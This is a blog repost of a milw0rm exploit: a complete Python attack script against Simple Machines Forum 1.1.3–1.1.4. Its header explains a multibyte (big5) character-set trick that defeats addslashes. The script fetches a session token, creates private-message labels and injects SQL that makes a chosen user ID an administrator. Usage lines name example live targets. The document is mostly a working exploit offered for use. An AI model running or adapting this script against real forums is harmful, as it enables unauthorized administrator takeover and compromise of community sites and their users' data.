Argentina Security: 15/6/08

#!/usr/bin/python
"""
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This was a priv8 Exploit #
#=================================================================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
#====================================#===========#====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# register_globals = 1 # Vendor: www.simplemachines.org #
# # Author: The:Paradox #
#================================================# Severity: N/A #
# # #
# You may find exploits updates and more # #
# explanations on => # Proud To Be Italian. #
# http://paradox.altervista.org # #
# # #
#====================================#===========#================================================#
# Board Description # #
#====================================# #
# #
# Simple Machines Forum - SMF in short - is a free, professional grade software package that #
# allows you to set up your own online community within minutes. #
# Its powerful custom made template engine puts you in full control of the lay-out of your #
# message board and with our unique SSI - or Server Side Includes - function you can let your #
# forum and your website interact with each other. #
# SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
# you with all the features you need from a bulletin board while having an absolute minimal #
# impact on the resources of the server. #
# SMF is the next generation of forum software - and best of all it is and will always #
# remain completely free! #
# #
#====================================#============================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
# (that's why I decided to public it). First, let's have a little poc. #
#=================================================================================================#

[Load.php]

148. if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
149. db_query("
150. SET NAMES $db_character_set", __FILE__, __LINE__);

#=================================================================================================#
# In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query. #
# Directly from dev.mysql.com let's see what it means. #
# #
# "SET NAMES indicates what character set the client will use to send SQL statements to the #
# the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
# are in character set cp1251." #
# #
# Ok, now let's see what $db_character_set is. #
# $db_character_set is a "Settings.php variable" written only if a "Non-Default tick" #
# is checked during the installation process. #
# The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write #
# it in "Settings.php" and no value is assigned to it: it's possible to set it #
# via register_globals. #
# #
# Now the cool poc section =D #
# Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query #
# at line 150 in Load.php #
# So, how is possible to take advantage of that? #
# To understand this vulnerability you have to comprehend some character set presents multibyte #
# characters and they may obiate addslashes() function. #
# Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("), #
# backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates #
# another char. #
# No, i'm not going mad :P Here is an example: #
# #
# Bytes in Input #
# 0xa327 #
# #
# Addslashes(Bytes in Input) #
# 0xa35c27 #
# #
# In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone. #
# Therefore a lot of smf's queries are vulnerable if $db_character_set is settable. #
# In this exploit i will inject sql code in Update syntax, increasing user's privledges. #
#=================================================================================================#
# Exploit tested on 1.1.3 and 1.1.4 Smf's versions. #
#=================================================================================================#
# Use this exploit at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
# Python Exploit Starts #
#=================================================================================================#
"""
from sys import argv, exit
from httplib import HTTPConnection
from urllib import urlencode, unquote
from time import sleep
print """
#=================================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#=================================================================#
"""

if len(argv)<=4: exit()

sn = "PHPSESSID" # Session cookie name. You may have to change this.
port = 80

target = argv[1]
path = argv[2]
sv = argv[3]
uid = argv[4]

class killsmf:

def __init__(self):

print "[.] Exploit Starts."

self.GetSesc()
self.CreateLabels()
self.Inject()

print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"

def GetSesc(self):

print "[+] Trying to read Sesc"

for i in range (0,2):
conn = HTTPConnection(target,port)
conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
rsp = conn.getresponse()
r = rsp.read()

if rsp.status == 404:
exit ("[-] Error 404. Not Found")
elif r.find('') != -1 :
self.sesc = r.split('')[0]
if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
print "[+] Sesc has been successfully read ==> "+self.sesc
else:
exit ("[-] Unable to find Sesc")

def CreateLabels(self):
print "[+] Creating three labels..."
for i in range (0,3):
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
sleep(0.35)
def Inject(self):
print "[+] Sql code is going to be injected."
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})

killsmf()

Link: http://www.milw0rm.com/exploits/5826

Mas Alla de un simple XSS

Simple Machines Forum 1.1.1 Inyexion

Multiples fallas en fotolog :D

Links

Archivo del blog